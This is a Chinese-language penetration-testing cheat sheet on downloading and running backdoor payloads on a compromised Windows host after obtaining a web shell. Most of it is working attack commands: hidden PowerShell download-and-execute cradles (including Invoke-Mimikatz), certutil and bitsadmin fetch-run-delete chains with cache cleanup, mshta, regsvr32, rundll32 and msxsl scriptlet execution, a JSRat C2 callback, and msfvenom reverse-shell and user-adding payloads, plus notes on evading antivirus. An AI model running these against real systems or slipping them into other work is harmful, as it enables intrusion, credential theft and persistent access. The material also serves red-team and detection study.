windows命令行下载文件

当我们通过Web渗透获取了一个Shell,而且目标主机是Windows,我们该怎么去下载后门文件到目标主机上执行呢?

一般来说,实现Windows文件下载执行的方式不外乎以下几种方式。第一种,远程下载文件到本地,然后再执行;第二种,远程下载执行,执行过程没有二进制文件落地,这种方式已然成为后门文件下载执行的首要方式**。**另外呢,只要你所在服务器的环境支持,你也可以通过任何一门语言来实现它,这种方式暂不在本文的讨论范围之内。

参考:

bitsadmin

bitsadmin是一个命令行工具,可用于创建下载或上传工作和监测其进展情况。只能命令下载到指定路径上,适用win7以上。适用于windows 7以上版本。 详情参考:

https://learn.microsoft.com/zh-cn/windows/win32/bits/bitsadmin-tool?redirectedfrom=MSDN

bitsadmin /transfer myDownLoadJob /download /priority normal "http://192.168.203.140/b.ps1" "E:\\phpstudy_pro\\WWW\\b.ps1"
bitsadmin /transfer myDownLoadJob /download /priority normal "http://img5.cache.netease.com/photo/0001/2013-03-28/8R1BK3QO3R710001.jpg" "d:\abc.jpg"
bitsadmin /transfer d90f <http://site.com/a> %APPDATA%\d90f.exe&%APPDATA%\d90f.exe&del %APPDATA%\d90f.exe

powershell

适用于windows 7以上版本。

#远程执行命令:
powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.28.128/imag/evil.txt'))"
#远程下载文件保存在本地:
powershell (new-object Net.WebClient).DownloadFile('http://192.168.203.140/a.ps1','E:\phpstudy_pro\WWW\a.ps1')


powershell (new-object Net.WebClient).DownloadFile('https://github.com/whwlsfb/Log4j2Scan/releases/download/dev-20230804T025448/Log4j2Scan-0.13.1-SNAPSHOT.jar','./Log4j2Scan-0.13.1-SNAPSHOT.jar')
powershell IEX (New-Object Net.WebClient).DownloadString('<https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1>'); Invoke-Mimikatz
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
powershell (new-object System.Net.WebClient).DownloadFile( 'http://192.168.168.183/1.exe’,’C:\111111111111111.exe')
powershell -w hidden -c (new-object System.Net.WebClient).Downloadfile('http://img5.cache.netease.com/photo/0001/2013-03-28/8R1BK3QO3R710001.jpg','d:\\1.jpg')

vbs

适用于server 2003 以上版本。

第一种把下载地址直接echo输入download.vbs。直接下载即可。

echo Set Post = CreateObject("Msxml2.XMLHTTP") >>download.vbs
echo Set Shell = CreateObject("Wscript.Shell") >>download.vbs
echo Post.Open "GET","http://192.168.203.140/a.ps1",0 >>download.vbs
echo Post.Send() >>download.vbs
echo Set aGet = CreateObject("ADODB.Stream") >>download.vbs
echo aGet.Mode = 3 >>download.vbs
echo aGet.Type = 1 >>download.vbs
echo aGet.Open() >>download.vbs
echo aGet.Write(Post.responseBody) >>download.vbs
echo aGet.SaveToFile "D:/a.ps1",2 >>download.vbs

第二种保存脚本后再下载指定文件。

echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open^"get^",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2  >> downfile.vbs
cscript downfile.vbs http://192.168.203.140/a.ps1 D:\\tomcat8.5\\webapps\\x.ps1

mshta命令下载执行

mshta用于执行.hta文件,而hta是HTML Applocation 的缩写,也就是HTML应用程序。而hta中也支持VBS。所以我们可以利用hta来下载文件。

mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))
#下载hta
mshta http://webserver/payload.hta

payload.hta

<HTML> 
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD>
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "cmd.exe /c net user test password /add" // 这里填写命令
self.close
</script>
<body>
demo
</body>
</HEAD>
</HTML>

ipc$文件共享

IPC$(Internet Process Connection)是共享”命名管道”的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。

#建立远程IPC连接
net use \\192.168.28.128\ipc$ /user:administrator "abc123!"
#复制远程文件到本地主机
copy \\192.168.28.128\c$\2.txt D:\test

FTP

一般情况下攻击者使用FTP上传文件需要很多交互的步骤,下面这个 bash脚本,考虑到了交互的情况,可以直接执行并不会产生交互动作。

ftp 127.0.0.1
username
password
get file
exit

TFTP

用来下载远程文件的最简单的网络协议,它基于UDP协议而实现

tftp32服务端下载地址:http://tftpd32.jounin.net/tftpd32_download.html

tftp -i 你的IP get 要下载文件 存放位置

rundll32命令下载执行

其实还是依赖于WScript.shell这个组件,在这里我们使用JSRat来做演示,JSRat是一个命令和控制框架,仅为rundll32.exe和regsvr32.exe生成恶意程序。

项目地址:https://github.com/Hood3dRob1n/JSRat-Py.git

步骤一:开始运行JSRat,监听本地8888端口。

img

步骤二:通过url访问,可以查看恶意代码。

img

复制代码如下:

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.28.131:8888/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}

步骤三:在受害者PC运行该代码,将成功返回一个会话,如下图所示:

img

参考:https://github.com/3gstudent/Javascript-Backdoor

net中的regasm命令下载执行

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll

cmd的远程命令下载:

cmd.exe /k < \webdavserver\folder\batchfile.txt

regsvr32命令下载执行

Regsvr32命令用于注册COM组件,是Windows系统提供的用来向系统注册控件或者卸载控件的命令,以命令行方式运行

#在目标机上执行:
regsvr32 /u /n /s /i:http://webserver/js.png scrobj.dll

js.png

<?XML version="1.0"?>
<scriptlet>
<registration
progid="ShortJSRAT"
classid="{10001111-0000-0000-0000-0000FEEDACDC}" >
<script language="JScript">
<![CDATA[
ps = "cmd.exe /c calc.exe";
new ActiveXObject("WScript.Shell").Run(ps,0,true);
]]>
</script>
</registration>
</scriptlet>

certutil命令下载执行

用于备份证书服务,支持xp-win10都支持。由于certutil下载文件都会留下缓存,所以一般都建议下载完文件后对缓存进行删除。

注:

#下载文件
certutil -urlcache -split -f http://192.168.28.128/imag/evil.txt test.php
#删除缓存
certutil -urlcache -split -f http://192.168.28.128/imag/evil.txt delete
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll


certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe


certutil -urlcache -split -f http://site.com/a a.exe && a.exe && del a.exe && certutil -urlcache -split -f http://192.168.254.102:80/a delete

net中的MSBulid命令下载执行

cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"

odbcconf命令下载执行

odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}

cscript脚本远程命令下载执行

cscript //E:jscript \\webdavserver\folder\payload.txt

downfile.vbs:

' Set your settings

strFileURL = "http://www.it1.net/images/it1_logo2.jpg"

strHDLocation = "c:\logo.jpg"



' Fetch the file

Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")



objXMLHTTP.open "GET", strFileURL, false

objXMLHTTP.send()



If objXMLHTTP.Status = 200 Then

Set objADOStream = CreateObject("ADODB.Stream")

objADOStream.Open

objADOStream.Type = 1 'adTypeBinary



objADOStream.Write objXMLHTTP.ResponseBody

objADOStream.Position = 0'Set the stream position to the start



Set objFSO = Createobject("Scripting.FileSystemObject")

If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation

Set objFSO = Nothing



objADOStream.SaveToFile strHDLocation

objADOStream.Close

Set objADOStream = Nothing

End if

Set objXMLHTTP = Nothing

将以上保存为downfile.vbs

输入命令:cscript downfile.vbs

pubprn.vbs下载执行命令

cscript /b C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs 127.0.0.1 script:<https://gist.githubusercontent.com/enigma0x3/64adf8ba99d4485c478b67e03ae6b04a/raw/a006a47e4075785016a62f7e5170ef36f5247cdb/test.sct>

windows自带命令copy

copy \x.x.x.x\xx\poc.exe
xcopy d:\test.exe \x.x.x.x\test.exe

IEXPLORE.EXE命令下载执行(需要IE存在oday)

"C:\Program Files\Internet Explorer\IEXPLORE.EXE" <http://site.com/exp>

IEEXC命令下载执行

IEexec.exe应用程序是.NET Framework附带程序,存在于多个系统白名单内。

#生成Payload:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.28.131 lport=4444 -f exe -o evil.exe
#使用管理员身份打开cmd,分别运行下面两条命令。
C:\Windows\Microsoft.NET\Framework64\v2.0.50727>caspol.exe -s off
C:\Windows\Microsoft.NET\Framework64\v2.0.50727>IEExec.exe http://192.168.28.131/evil.exe

参考:https://room362.com/post/2014/2014-01-16-application-whitelist-bypass-using-ieexec-dot-exe/

msiexec命令下载执行

msiexec 支持远程下载功能,将msi文件上传到服务器,通过如下命令远程执行

#生成msi包
msfvenom -p windows/exec CMD='net user test abc123! /add' -f msi > evil.msi
#远程执行
msiexec /q /i http://192.168.28.128/evil.msi

下载命令执行项目GreatSCT

<https://github.com/GreatSCT/>

wget

Windows环境下,可上传免安装的可执行程序wget.exe到目标机器,使用wget下载文件。

wget.exe下载:https://eternallybored.org/misc/wget/

wget -O "evil.txt" http://192.168.28.128/imag/evil.txt

MSXSL.EXE

msxsl.exe是微软用于命令行下处理XSL的一个程序,所以通过他,我们可以执行JavaScript进而执行系统命令。

下载地址为:https://www.microsoft.com/en-us/download/details.aspx?id=21714

msxsl.exe 需要接受两个文件,XML及XSL文件,可以远程加载,具体方式如下:

msxsl http://192.168.28.128/scripts/demo.xml http://192.168.28.128/scripts/exec.xsl
demo.xml

<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="exec.xsl" ?>
<customers>
<customer>
<name>Microsoft</name>
</customer>
</customers>
exec.xsl

<?xml version='1.0'?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace">

<msxsl:script language="JScript" implements-prefix="user">
function xml(nodelist) {
var r = new ActiveXObject("WScript.Shell").Run("cmd /c calc.exe");
return nodelist.nextNode().xml;

}
</msxsl:script>
<xsl:template match="/">
<xsl:value-of select="user:xml(.)"/>
</xsl:template>
</xsl:stylesheet>

pubprn.vbs

在Windows 7以上版本存在一个名为PubPrn.vbs的微软已签名WSH脚本,其位于C:\Windows\System32\Printing_Admin_Scripts\en-US,仔细观察该脚本可以发现其显然是由用户提供输入(通过命令行参数),之后再将参数传递给GetObject()

"C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs" 127.0.0.1 script:https://gist.githubusercontent.com/enigma0x3/64adf8ba99d4485c478b67e03ae6b04a/raw/a006a47e4075785016a62f7e5170ef36f5247cdb/test.sct
test.sct

<?XML version="1.0"?>
<scriptlet>
<registration
description="Bandit"
progid="Bandit"
version="1.00"
classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"
remotable="true"
>
</registration>
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</scriptlet>

总结

经过多方测试,vbs不会遭到360拦截,certutil也可能不会拦截。通用性最强的还是 bitsadmin。另外bitadmin有个 powershell 版本,万一cmd版本真的给微软弃用了,可以替代。